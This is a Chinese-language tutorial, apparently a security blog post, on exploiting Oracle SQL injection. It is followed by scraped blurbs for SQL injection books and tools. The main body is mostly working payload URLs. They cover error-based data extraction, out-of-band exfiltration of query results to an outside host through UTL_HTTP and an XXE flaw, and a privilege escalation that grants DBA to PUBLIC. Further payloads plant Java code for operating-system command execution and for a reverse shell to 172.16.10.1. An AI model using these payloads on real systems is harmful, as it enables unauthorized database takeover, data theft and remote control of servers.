报错注入的几种方式
0x1 utl_inaddr.get_host_name
这种方法在Oracle 8g,9g,10g中不需要任何权限,但是在Oracle 11g以及以后的版本中,官方加强了访问控制权限,所以在11g以后要使用此方法进行报错注入,当前数据库用户必须有网络访问权限。
http://www.iswin.org/oracle.jsp?name=' and 1=utl_inaddr.get_host_name((select user from dual))-- |
0x2 ctxsys.drithsx.sn
http://www.iswin.org/oracle.jsp?name=' and 1=ctxsys.drithsx.sn(1,(select user from dual))-- |
0x3 XMLType
在使用这个XMLType进行报错时,很多人不知道为什么要用chr(60),通过ascii查询可以看到,60:<,58:’:’,62:’>’,查了下相关的api,发现xmltype在进行解析的时候必须以<开头>结尾,这里:冒号在这是必不可少的,至于为什么是冒号这个我也没查到,另外需要注意的是如果返回的数据种有空格的话,它会自动截断,导致数据不完整,有replace函数替换成其他非空字符就可以。
http://www.iswin.org/oracle.jsp?name=' and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null-- |
0x4 dbms_xdb_version.checkin
http://www.iswin.org/oracle.jsp?name=' and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null-- |
0x5 dbms_xdb_version.makeversioned
http://www.iswin.org/oracle.jsp?name=' and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null-- |
0x6 dbms_xdb_version.uncheckout
http://www.iswin.org/oracle.jsp?name=' and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null-- |
0x7 dbms_utility.sqlid_to_sqlhash
http://www.iswin.org/oracle.jsp?name=' and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null-- |
UTL_HTTP.request的使用
通过utl_http.request我们可以将查询的结果发送到远程服务器上,在遇到盲注时非常有用,要使用该方法用户需要有utl_http访问网络的权限。
UTL_INADDR.GET_HOST_ADDRESS&SYS.DBMS_LDAP.INIT
很多时候数据服务器都是站库分离的,而且不一定能出网,有时候可能会允许DNS请求,所以该方法能在一定情况下奏效。
http://www.iswin.org/oracle.jsp?name=' and (UTL_HTTP.request('http://www.iswin.org:80/'||(select banner from sys.v_$version where rownum=1))=1—
|
Oracle XXE(CVE-2014-6577)
受影响版本:11.2.0.3, 11.2.0.4, 12.1.0.1 和12.1.0.2
这里Oracle的XXE的利用效果和UTL_http的效果差不多,都是将数据传输到远端服务器上,但是,由于extractvalue()函数对所有数据库用户都可以使用,不存在权限的问题,所以当在低权限没有UTL_http访问权限时,这个不失为一个好方法。
http://www.iswin.org/oracle.jsp?name=' and (select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://172.16.10.1:8080/'||(SELECT user from dual)||'"> %remote;]>'),'/l') from dual) is not null |
Oracle 提权漏洞
GET_DOMAIN_INDEX_TABLES函数注入漏洞
影响版本:Oracle 8.1.7.4, 9.2.0.1 - 9.2.0.7, 10.1.0.2 - 10.1.0.4, 10.2.0.1-10.2.0.2
漏洞的成因是该函数的参数存在注入,而该函数的所有者是sys,所以通过注入就可以执行任意sql,该函数的执行权限为public,所以只要遇到一个oracle的注入点并且存在这个漏洞的,基本上都可以提升到最高权限。
权限提升
http://www.iswin.org/oracle.jsp?name=' and (SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS _OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACT;BEGIN EXECUTE IMMEDIATE ''''grant dba to public'''';END;'';END;--','SYS',0,'1',0)) is not null-- |
权限提升之后就可以做很多事了,因为Oracle可以执行JAVA代码,所以在提升权限后具体怎么操作,就看各自的JAVA水平了。
这里给出几种常见的利用方式。
命令执行
创建JAVA代码
1
2
|
http: //www.iswin.org/oracle.jsp?name=' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "Command" as import java.io.*;public class Command{public static String exec(String cmd) throws Exception{String sb="";BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());BufferedReader inBr = new BufferedReader(new InputStreamReader(in));String lineStr;while ((lineStr = inBr.readLine()) != null)sb+=lineStr+"
";inBr.close();in.close(); return sb;}} '' '' ;END; '' ;END;-- ',' SYS ',0,' 1 ', 0 ) from dual) is not null
|
赋予JAVA执行权限
1
|
http: //www.iswin.org/oracle.jsp?name=' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual) is not null--
|
创建函数
1
|
http: //www.iswin.org/oracle.jsp?name=' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function cmd(p_cmd in varchar2) return varchar2 as language java name ''''''''Command.exec(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual) is not null--
|
赋予函数执行权限
1
|
http: //www.iswin.org/oracle.jsp?name=' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on cmd to public'''';END;'';END;--','SYS',0,'1',0) from dual) is not null--
|
执行命令
http://www.iswin.org/oracle.jsp?name=' and (select sys.cmd('cmd.exe /c whoami') from dual) is not null-- |
反弹SHELL
创建JAVA代码
当执行命令没有什么太大的帮助时,我们可以反弹一个交互式的shell,这样会方便很多。
1
|
http: //www.iswin.org/oracle.jsp?name=' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "shell" as import java.io.*;import java.net.*;public class shell{public static void run() throws Exception {Socket s = new Socket("172.16.10.1", 80);Process p = Runtime.getRuntime().exec("cmd.exe");new T(p.getInputStream(), s.getOutputStream()).start();new T(p.getErrorStream(), s.getOutputStream()).start();new T(s.getInputStream(), p.getOutputStream()).start();}static class T extends Thread {private InputStream i;private OutputStream u;public T(InputStream in, OutputStream out) {this.u = out;this.i = in;}public void run() {BufferedReader n = new BufferedReader(new InputStreamReader(i));BufferedWriter w = new BufferedWriter(new OutputStreamWriter(u));char f[] = new char[8192];int l;try {while ((l = n.read(f, 0, f.length)) > 0) {w.write(f, 0, l);w.flush();}} catch (IOException e) {}try {if (n != null)n.close();if (w != null)w.close();} catch (Exception e) {}}}}'''';END;'';END;--','SYS',0,'1',0) from dual) is not null--
|
赋予JAVA执行权限
1
|
http: //www.iswin.org/oracle.jsp?name=' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.net.SocketPermission'''''''', ''''''''<>'''''''', ''''''''*'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual) is not null--
|
创建函数
1
|
http: //www.iswin.org/oracle.jsp?name=' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function reversetcp RETURN VARCHAR2 as language java name ''''''''shell.run() return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual) is not null--
|
赋予函数执行权限
1
|
http: //www.iswin.org/oracle.jsp?name=' and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on reversetcp to public'''';END;'';END;--','SYS',0,'1',0) from dual) is not null--
|
反弹SHELL
http://www.iswin.org/oracle.jsp?name=' and (select sys.reversetcp from dual) is not null-- |
相关推荐
在本篇文章中,我们将详细介绍一种利用Oracle SQL注入来实现远程命令执行的方法。 #### 二、关键知识点 1. **Oracle SQL注入原理** - **定义**:SQL注入是指攻击者通过向Web应用中插入恶意SQL语句来欺骗服务器...
SQL注入攻击是一种已经长期存在,但近年来日益增长的... ·通过SQL注入利用漏洞 ·在代码中发现SQL注入的方法和技巧 ·利用操作系统的漏洞 ·在代码层和平台层防御SQL注入攻击 ·确定是否已经遭到SQL注入攻击
sqlmap等sql注入工具不能利用的SQL注入点,可尝试手工注入,或许有意外的惊喜,满足你的sql注入欲望。 来吧,小伙伴,尽情的下载、然后肆无忌惮的尝试手工注入吧。 来吧,小伙伴,尽情的下载、然后肆无忌惮的尝试...
在网络安全领域,SQL注入是一种常见的攻击手段,而“御剑”则是一款专门用于检测和利用SQL注入漏洞的工具。御剑,以其独特的功能和易用性,深受安全研究人员和渗透测试人员的喜爱。这款工具能够帮助用户识别和利用...
总的来说,Oracle开发人员需要理解SQL注入的原理和危害,采取适当的安全策略,确保应用程序的安全性,以防止黑客利用此类攻击手段对公司数据造成严重损失。通过合理的编程实践和安全意识,可以大大减少SQL注入的风险...
在本材料中,主要介绍了寻找SQL注入漏洞的方法、判断注入漏洞的依据、常用测试语句和技巧,以及不同数据库类型之间的差异和如何利用这些差异进行攻击。根据不同的数据库类型(如SQL Server、MySQL、Oracle),攻击者...
尽管SQL注入的概念对所有关系型数据库管理系统(RDBMS)都适用,但Oracle数据库因其独特的特性而面临特定类型的SQL注入威胁。例如,Oracle的PL/SQL语言提供了执行动态SQL的能力,这在提高开发灵活性的同时,也为SQL...
针对SQL注入隐蔽性极强的特点,本书重点讲解了SQL注入的排查方法和可以借助的工具,总结了常见的利用SQL漏洞的方法。另外,本书还专门从代码层和系统层的角度介绍了避免SQL注入的各种策略和需要考虑的问题。 本书...
1. **SQL注入原理**:理解注入的基本机制,如通过拼接SQL语句、利用未验证的用户输入、执行特权命令等。 2. **SQL语法知识**:了解目标数据库系统(如MySQL、Oracle或SQL Server)的SQL语法,以便构造有效的测试...
PangolinsDL是一款强大的SQL注入检测工具,它可以帮助用户识别和利用SQL注入漏洞。该工具支持多种数据库系统,包括MySQL、Oracle、SQL Server等,能够进行深度扫描和智能分析,提供详细的漏洞报告。 2. **功能特性...
总的来说,超级SQL注入工具以其高效、全面的特性,为安全测试人员和信息安全工程师提供了强大的SQL注入检测和利用能力。它不仅可以帮助测试人员快速发现和理解注入漏洞,还能通过详尽的发包记录辅助学习和解决问题。...
针对SQL注入隐蔽性极强的特点,本书重点讲解了SQL注入的排查方法和可以借助的工具,总结了常见的利用SQL漏洞的方法。另外,本书还专门从代码层和系统层的角度介绍了避免SQL注入的各种策略和需要考虑的问题。 本书...
该工具不仅支持多种类型的SQL注入,如Bool型盲注、错误显示注入和Union注入,而且对多种数据库系统,如Access、MySQL5及以上版本、SQLServer和Oracle等,都具有良好的兼容性。通过使用C#开发并利用Socket发包,...
此外,了解不同数据库系统(如MySQL、PostgreSQL、Oracle)的特性也十分有用,因为不同的数据库系统可能对SQL注入的处理方式不同。 对于错误基线注入,攻击者会尝试通过引发服务器错误来获取关于查询结构的信息。...
SQL注入扫描器是一种专门用于检测Web应用程序是否存在SQL注入漏洞的安全工具。SQL注入是网络安全领域中的一个常见威胁,攻击者通过在输入字段中插入恶意的SQL代码,试图获取未经授权的数据访问或者控制服务器。以下...
SQL注入是一种常见的网络安全威胁,它利用了不安全的SQL代码设计来访问、修改或破坏数据库。这个"SQL注入最新经典教学包"是一个全面的学习资源,旨在帮助用户理解并防范这种攻击方式。以下是对包内各个组件的详细...
SQL注入是一种严重的网络安全威胁,它利用了Web应用程序中对用户输入数据处理的不足。当开发者在构建SQL查询时不正确地处理用户输入,攻击者就可以通过输入恶意的SQL代码来操纵数据库,获取敏感信息,甚至完全控制...